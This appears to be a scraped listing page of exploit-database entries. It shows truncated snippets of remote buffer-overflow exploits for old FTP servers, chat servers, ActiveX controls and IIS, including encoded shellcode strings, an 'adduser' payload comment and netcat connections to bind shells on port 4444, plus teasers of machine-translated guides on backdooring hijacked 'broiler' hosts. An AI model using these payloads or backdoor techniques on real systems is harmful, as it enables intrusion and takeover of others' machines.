(Gabriel's FTP Server) Open & Compact FTPd 1.2 - Remote Overflow

Title: Open & Compact FTPd Pre-Authentication Remote Exploit Written by: Lincoln Originally discovered by: loneferret Reference: http://www.exploit-db.com/exploits/11391/ Tested on: XPSP2 root@box: ./ftpd.py 192.168.139.130 Try connecting to host on port 4444 root@box: nc -vn 192.168.139.130 4444...

PostgreSQL bitsubstr函数远程溢出漏洞

BUGTRAQ ID: 37973 CVECAN ID: CVE-2010-0442 PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 远程攻击者可以利用PostgreSQL的bitsubstr函数处理超长字符串时的缓冲区溢出导致拒绝服务或执行任意代码。 PostgreSQL 8.0.23 厂商补丁： PostgreSQL ---------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.postgresql.org testdb= select...

NetTransport Download Manager 2.90.510 - Remote Overflow (SEH)

!/usr/bin/python NetTransport Download Manager version:2.90.510 0day Discovered by Lincoln Tested on Windows XP SP3 eMule file sharing protocol SEH overwrite, leaves only 60 or so bytes after p/p/r egghunter is used to find sc calc.exe root@BT4VM: ./netxfer.py 192.168.1.8 31491 import socket,sys...

NetTransport Download Manager 2.90.510 - Remote Overflow (SEH)

NetTransport Download Manager 2.90.510 - Remote Overflow SEH !/usr/bin/python NetTransport Download Manager version:2.90.510 0day Discovered by Lincoln Tested on Windows XP SP3 eMule file sharing protocol SEH overwrite, leaves only 60 or so bytes after p/p/r egghunter is used to find sc calc.exe...

BigAnt Server 2.52 - Remote Overflow (SEH)

BigAnt Server 2.52 - Remote Overflow SEH !/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent!...

BigAnt Server 2.52 - Remote Overflow (SEH)

!/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect to remote host on port 4444...

Savant Web Server 3.1 - Remote Buffer Overflow (3)

!/usr/bin/python Title: Savant web server 3.1 buffer overflow exploit Author: DouBleZer0 Version: 3.1 Tested on: win xp sp2,3 en Vulnerability discovered by Mutsoffensive security \x83\xc4\x50\x54\xc3 -add esp,50 push esp retsee the double dance of this in exploit ret=00401D09pop ebp, ret import...

Symantec多个产品AeXNSConsoleUtilities.dll ActiveX控件远程溢出漏洞

BUGTRAQ ID: 37092 CVECAN ID: CVE-2009-3033 Altiris Notification Server、Management Platform和Altiris Deployment Solution都是Symantec的网管和部署解决方案。 在初次连接到Altiris Deployment Solution等产品管理服务器的Web控制台时会安装一个Altiris eXpress NS Console Utilities...

eMule IRC Module / Web Server DecodeBase16 Function Remote Overflow

According to its version, the eMule Web Server listening on this port contains a buffer overflow vulnerability in the 'DecodeBase16' function due to a lack of length checks on its inputs. An anonymous remote attacker may be able to leverage this issue to execute arbitrary code on the affected hos...

How to find unix broiler-vulnerability warning-the black bar safety net

Why that is I and the x-laser together with looking for broiler? Because all our operations are all in the 3 3 8 9 broiler on. First of all, we are on to the same terminal, premise:the terminal is open,rather than doing it on your own,so that only the Terminal Services Manager can be usedand then...

EMC Captiva QuickScan Pro 4.6 SP1 and EMC Documentum ApllicationXtender Desktop 5.4 (keyhelp.ocx 1.2.312) - Remote Overflow

//executing calc scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" & unescape"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41" &...

Rookie Club of the simple broiler production big run-vulnerability warning-the black bar safety net

A. Preface.. Back door making for success after the invasion to maintain Rights has a very important significance,this article describes a simple and practical the back door of the production technology,as well as how to make a broiler. Ha ha hado not turn into bad kids! II. Ready.. First, we nee...

MS IIS 5.0/6.0 FTP Server remote overflow vulnerability(win2k)-vulnerability warning-the black bar safety net

IIS 5.0 FTPd / Remote r00t exploit Win2k SP4 targets bug found &exploited by Kingcope, kcope2atgooglemail.com Affects IIS6 with stack cookie protection August 2 0 0 9 - KEEP THIS 0DAY PRIV8 use I:Socket; $|=1; metasploit shellcode, adduser "winown:nwoniw" $sc =...

Embedthis Appweb 3.0b.2-4 Remote Buffer Overflow PoC

No description provided by source. / Embedthis Appweb Remote Stack Buffer Overflow Poc Embedthis Appweb Debugging Info ------------------------------- ASM INSTRUCTIONS ---------------- 100076CD 8B0A MOV ECX,DWORD PTR DS:EDX 100076CF 8B50 10 MOV EDX,DWORD PTR DS:EAX+10 100076D2 51 PUSH ECX 100076D...

Microsoft Office Web Components Spreadsheet - ActiveX 'OWC10/11' Remote Overflow

Author : Ahmed Obied [email protected] - Based on the code posted at http://www.milw0rm.com/exploits/9163 - Tested using: Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc10.dll installed Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc11.dll installed Usage : python ieowc.py...

Microsoft Office Web Components Spreadsheet - ActiveX OWC1011 Remote Overflow

Microsoft Office Web Components Spreadsheet - ActiveX OWC1011 Remote Overflow Author : Ahmed Obied [email protected] - Based on the code posted at http://www.milw0rm.com/exploits/9163 - Tested using: Internet Explorer 7.0.5730.13 on Windows XP SP3 with owc10.dll installed Internet Explorer...

Apple QuickTime CRGN Atom Remote Overflow PoC

Exploit for linux platform in category dos / poc ============================================= Apple QuickTime CRGN Atom Remote Overflow PoC ============================================= 0:000 !exploitable -v HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode...

Sendmail < 8.13.2 Mail X-Header Handling Remote Overflow

The remote host is running a version of the Sendmail mail server earlier than 8.13.2. Such versions are reportedly affected by a remote buffer overflow vulnerability. An attacker could leverage this flaw to execute arbitrary code with the privileges of the affected application. C Tenable Network...

AOL IWinAmpActiveX Class - ConvertFile() Remote Buffer Overflow

AOL IWinAmpActiveX Class - ConvertFile Remote Buffer Overflow //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

AOL IWinAmpActiveX Class ConvertFile() Remote BOF Exploit

Exploit for windows platform in category remote exploits ========================================================= AOL IWinAmpActiveX Class ConvertFile Remote BOF Exploit ========================================================= //add user one, user "sun" pass "tzu" shellcode =...